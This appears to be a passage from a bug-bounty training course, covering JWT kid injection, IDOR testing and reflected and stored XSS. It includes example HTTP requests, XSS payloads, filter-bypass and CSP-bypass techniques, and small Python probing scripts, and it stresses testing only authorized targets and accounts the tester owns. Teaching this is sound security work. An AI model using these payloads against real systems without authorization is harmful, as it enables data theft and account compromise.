kid tells the server which key to load, and it is client-controlled. If the value is used to build a file path, test path traversal — e.g. point kid at a predictable/empty file (../../dev/null) so the verification key becomes empty, then sign your token with an empty secret. If the value is used in a SQL/lookup query, test SQL injection to return an attacker-known key. Both turn 'pick a key' into 'pick MY key'. Confirm by forging a token that only validates under the injected key.
back to overview
3.2 · Phase 3 — Vulnerabilities
IDOR
Phase 3 access control object reference authorization
IDOR is the purest access-control bug: the server trusts an object reference you control and never re-checks ownership. It is not a technique, it is a missing check. Your whole job is to find where the ownership check should be and prove it isn't there — with two accounts you own, never someone else's data.
core concepts
What an IDOR actually is
IDOR (Insecure Direct Object Reference) happens when the application uses a client-supplied value to select a resource, and authorizes the action but not the object. The middleware answers 'can this user read invoices?' — yes. It never answers 'does invoice 4012 belong to this user?'. The reference can be a path segment (/api/invoices/4012), a query param (?user_id=99), a body field ({"account":"acc_18"}), or a header. If you can change it and reach someone else's object, it's an IDOR.
The three axes: horizontal, vertical, cross-tenant
Horizontal — same privilege level, different owner: user A reads user B's order. Vertical — lower privilege reaches a higher-privilege object or action: a normal user hits /admin/users/12 and it works. Cross-tenant — the hardest-hitting: an object from another organization/workspace entirely, where the impact is a full data-isolation break. Always state which axis you proved — it changes the severity and the report.
Read vs write: the impact ladder
A read IDOR discloses data. A write IDOR (PUT/PATCH/DELETE, or a POST that mutates) modifies or destroys someone else's object — much higher severity. Test both directions on the same reference: reading GET /api/notes/88 may 403, but PATCH /api/notes/88 may not be checked at all. Backends protect the read path and forget the write path constantly.
Why UUIDs are not a fix (just a speed bump)
Developers swap sequential IDs for UUIDs and call it fixed. It isn't — it is unpredictable, not unauthorized. If the object is still reachable when you supply the reference, it is still an IDOR; you just need a valid UUID. And UUIDs leak everywhere: in list endpoints, email links, exports, referer headers, other users' shared content, GET /api/search?q= results. Predictability is a discovery problem, not an authorization one.
real http requests
horizontal read — B's object with A's session
GET /api/v1/invoices/4012 HTTP/1.1 Host: app.target.com Authorization: Bearer <token-of-user-A> ← 4012 belongs to user B. 200 OK with B's data = confirmed IDOR. ← A 403 here is the check working. A 200 is the bug.
write IDOR — the read was protected, the write wasn't
PATCH /api/v1/notes/88 HTTP/1.1 Host: app.target.com Authorization: Bearer <token-of-user-A> Content-Type: application/json {"title": "owned-by-A-now"} ← GET /api/v1/notes/88 returns 403, but PATCH is unchecked.
reference hidden in a body field, not the URL
POST /api/v1/export HTTP/1.1 Host: app.target.com Content-Type: application/json {"report_id": "rep_1029", "account_id": "acc_18"} ← swap account_id to acc_19 (yours→theirs). The URL never changed.
what backends get wrong
Authorizing the endpoint, not the object
The single most common root cause. A decorator or middleware checks the user is authenticated and has the 'invoices' scope, then the handler runs Invoice.find(id) with the raw id. The fix they skipped is one line: Invoice.find(id, owner=current_user). You are looking for the absence of that WHERE owner_id = me clause.
Trusting an id from the token's twin field in the body
The session identifies the user, but the endpoint also accepts user_id in the body 'for convenience' and uses the body value. Send your own request, then replace the body user_id with another. If the response is scoped to the body value instead of the token, the token is decorative.
GraphQL node() and batch queries bypass per-route checks
REST route guards don't exist in GraphQL. A global node(id:) resolver, or aliasing the same query 50 times with different ids in one request, often reaches objects the REST layer would have blocked. If the target has GraphQL, test object access there separately — it is a different authorization surface.
hunting checklist
hunter mindset
🔑
Authorize the object, not the action
Every access-control bug is the gap between 'can you do X' and 'can you do X to this specific thing'. Hunt the second question.
👥
Two accounts, always yours
Prove cross-access using data you own on both accounts. Never pull a stranger's real data to demonstrate — the impact is identical and the evidence is clean.
✍️
Writes beat reads
A disclosed record is medium. An altered or deleted record belonging to someone else is high. Always try the write path on a confirmed reference.
🧭
A 200 is not impact
Reaching the object is half the finding. The report needs proof it belonged to another user or tenant. Screenshot both sides.
useful mini script
python idor_compare.py
import requests, sys # Replay the SAME object request with two sessions you own. # If B's object returns 200 (and matching data) under A's token, that's the signal. # Authorized testing only — both accounts must be yours. URL = sys.argv[1] # e.g. https://app.target.com/api/v1/invoices/4012 TOK_A = "Bearer " + sys.argv[2] # token of account A (the attacker) TOK_B = "Bearer " + sys.argv[3] # token of account B (the owner) def get(url, tok): r = requests.get(url, headers={"Authorization": tok}, timeout=10) return r.status_code, len(r.content), r.text[:200] sa, la, _ = get(URL, TOK_A) sb, lb, body = get(URL, TOK_B) print(f"owner B : {sb} {lb} bytes") print(f"attacker A: {sa} {la} bytes") if sa == 200 and abs(la - lb) < 32: print("\n[!] A reads B's object with near-identical body -> likely IDOR") print(" verify the data is B's, then test PATCH/DELETE on the same id") else: print("\n[ ] A blocked or different body -> check the reference, retry write verbs")
assessment — answer to reveal
Q1 GET /api/notes/88 returns 403 for you. What do you try next, and why is 403 not the end?
The read guard exists, but authorization is per-handler, not per-object-globally. Try the write verbs on the same id: PUT/PATCH/DELETE /api/notes/88, and a method-override (POST + X-HTTP-Method-Override: PATCH). Backends routinely guard GET and forget the mutating handlers. Also try the same object through a different surface (GraphQL node(), a bulk/export endpoint). A 403 on one route is not a 403 on the object.
Q2 The app uses UUIDs for all objects. The triager says 'not exploitable, IDs are unguessable'. How do you respond?
Unpredictable is not unauthorized. Demonstrate that a valid UUID obtained through a legitimate channel (a list endpoint, a shared link, an export, a search result, a referer header) still grants access to another owner's object when supplied under your session. If the ownership check is missing, the UUID is only a discovery hurdle, not an access control. Provide the exact channel you harvested the UUID from as part of the repro.
Q3 You changed account_id in a POST body from acc_18 to acc_19 and got 200. Is that enough to report? What's missing?
Not yet. A 200 proves the request was accepted, not that a boundary was crossed. You must show acc_19 belongs to a different owner/tenant and that the response (or a follow-up read) contains acc_19's data, not yours. Best evidence: two accounts you control, request from A's session targeting B's account_id, and a screenshot of B's distinct data returned. Then state the axis (cross-tenant if different org) and whether it's read or write.
back to overview
3.4 · Phase 3 — Vulnerabilities
XSS
Phase 3 xss injection output encoding context
XSS is a context bug, not a payload bug. Attacker data lands in a place the browser will parse as code, and the app encoded it for the wrong context — or not at all. Your job is to find where your input is reflected or stored, identify the exact context it lands in (HTML, attribute, JS, URL), and craft the minimal break-out for that context. DOM-based XSS is its own surface — covered in 3.5.
core concepts
The three types: reflected, stored, DOM
Reflected — your input comes back in the immediate response (search boxes, error messages, URL params echoed to the page). Impact needs a victim to open your crafted link. Stored — your input is saved and served to others later (comments, profile fields, usernames, support tickets). Highest impact: it fires for every viewer, including admins. DOM — the payload never reaches the server; client-side JS moves a source into a sink. Different hunting surface, covered in 3.5. This module is about reflected and stored.
Context is everything: where does your input land?
The same string is harmless in one place and code in another. HTML body — you need to introduce a tag: <svg onload=...>. HTML attribute — you need to break out of the quotes first: "><svg...> or, if you can't, an event handler in the same attribute. Inside a <script> — you're already in JS; break the string/statement: ';alert(1)//. URL context (href, src) — a javascript: scheme may execute. Identify the context before you pick a payload — a reflected < that renders as &lt; is encoded for HTML but might be raw inside JS.
Reflection probing without a full payload
Don't lead with <script>alert(1)</script>. Send a unique marker (xss7391) and find every place it echoes. Then send the context-breaking characters alone — < > " ' ` — and read the raw response to see which survive unencoded. Which characters come back intact tells you the context and the encoding, and therefore the payload. This also avoids tripping WAFs on obvious strings before you even know if reflection exists.
Filters fail because encoding is context-specific
Blocklists lose: onerror blocked? use onpointerover. <script> stripped? <svg>, <img>, <details ontoggle>. Case, unicode, double-encoding, and broken tags the parser repairs all bypass naive filters. The real fix is context-aware output encoding plus a strong CSP — so absence of encoding, or HTML-encoding applied to a JS context (wrong context), is the actual bug. Match your bypass to what the filter forgot, not to a payload list.
real http requests
reflected in HTML body — reflection probe first
GET /search?q=xss7391 HTTP/1.1 Host: app.target.com response body: <h2>No results for xss7391</h2> ← marker reflected raw in HTML body. now test: q=xss7391<svg onload=alert(1)>
reflected inside an attribute — break out of the quotes
GET /profile?name=xss7391 HTTP/1.1 response body: <input type="text" value="xss7391"> ← payload: name="><svg onload=alert(1)> (close attr, close tag, inject)
stored — fires for every viewer, including staff
POST /api/comments HTTP/1.1 Host: app.target.com Content-Type: application/json {"body": "<img src=x onerror=alert(document.domain)>"} ← rendered later on the thread page for any user who opens it
what backends get wrong
Encoding for the wrong context
The template HTML-encodes everything, which is safe in HTML body — but the value is dropped inside a <script>var x='...'</script> block, where HTML-encoding does nothing and ';alert(1)// breaks straight out. Right tool, wrong place. Always check whether the encoding matches the sink context, not whether encoding merely exists.
Sanitizing on input, rendering in many contexts
Input sanitization runs once at write time, then the same stored value is rendered in HTML, in an attribute, in a JSON blob, and in an email. One sanitizer can't be correct for all of them. The correct model is encode at output, per context. If you find a stored value that looks clean in one view, check every other place it renders — one of them likely encodes differently.
Trusting a WAF instead of fixing the sink
A WAF blocking <script> is not output encoding. It is a blocklist, and blocklists are bypassable by definition: alternative tags/events, encoding, mutation. If the underlying reflection is unencoded, the vuln is present the moment the filter is evaded — report the missing encoding, and demonstrate a bypass to prove exploitability.
hunting checklist
hunter mindset
🧩
Find the context, then the payload
The payload is derived from where your input lands. Probe the reflection, read the raw HTML, then craft the minimal break-out.
📦
Stored beats reflected
Reflected needs a victim to click your link. Stored fires for everyone who opens the page — chase the fields other users will see.
🚪
A filter is a lock, not a wall
Blocklists exist to be routed around. If the sink is unencoded, the bug is real — the bypass just proves it.
🎯
PoC for proof, not for damage
alert(document.domain) or a DNS callback is enough. Reading cookies or acting on real accounts is out of scope and unnecessary.
useful mini script
python reflect_probe.py
import requests, sys # Reflection + context probe. Sends a unique marker, then the raw break-out chars, # and reports which survive unencoded in the response. Authorized targets only. BASE = sys.argv[1] # e.g. https://app.target.com/search?q=FUZZ MARK = "xss7391" CHARS = ['<', '>', '"', "'", '`'] def send(val): url = BASE.replace("FUZZ", val) return requests.get(url, timeout=10).text body = send(MARK) hits = body.count(MARK) print(f"marker reflected {hits} time(s)") if not hits: print("no reflection here — try other params / stored views"); sys.exit() probe = send(MARK + "".join(CHARS)) for c in CHARS: raw = (MARK + c) in probe print(f" {c!r:5} survives unencoded: {raw}") print("\n-> unencoded < and > in HTML body = introduce a tag") print("-> unencoded \" or ' only = likely attribute/JS context, break out")
assessment — answer to reveal
Q1 Your input reflects inside <input value="HERE">. < and > come back encoded, but " comes back raw. What's your payload and why?
You're in an attribute context, and the quote isn't encoded — so break out of the value with " then inject. Since < / > are encoded you can't open a new tag, but you can add an event handler to the SAME tag: name=" autofocus onfocus=alert(document.domain) x=" — this closes the value, adds attributes to the existing <input>, and fires without needing angle brackets. The bug is attribute-context encoding that missed the quote.
Q2 A comment field strips <script> and the word 'onerror'. Reflection in the HTML body is otherwise raw. How do you still get execution?
It's a blocklist, not encoding, so route around it. Use a different tag and a different event that isn't filtered: <svg onload=alert(document.domain)>, <details open ontoggle=alert(document.domain)>, or <img src=x onpointerover=alert(1)>. Since the body reflection is raw, any allowed tag+event executes. Report it as stored XSS with missing output encoding — the WAF-style filter is not a fix.
Q3 You find reflected XSS but the site has Content-Security-Policy: script-src 'self'. Does the finding still matter? What do you check?
Yes — the injection is real; the CSP may only reduce impact, and CSPs are frequently bypassable. Check: is there 'unsafe-inline' or 'unsafe-eval' (then inline fires)? Any allowlisted origin hosting JSONP/Angular/an old library you can abuse? Can you load a script from 'self' (upload, open redirect on-origin, a callback endpoint)? Does a nonce leak or repeat? Report the XSS and note the CSP posture — if you find a bypass, include it; if not, it's still an injection finding whose severity the CSP mitigates but does not erase.
back to overview
Module in progress
This module is being written. Start with 1.1 if you haven't yet — each module builds on the last.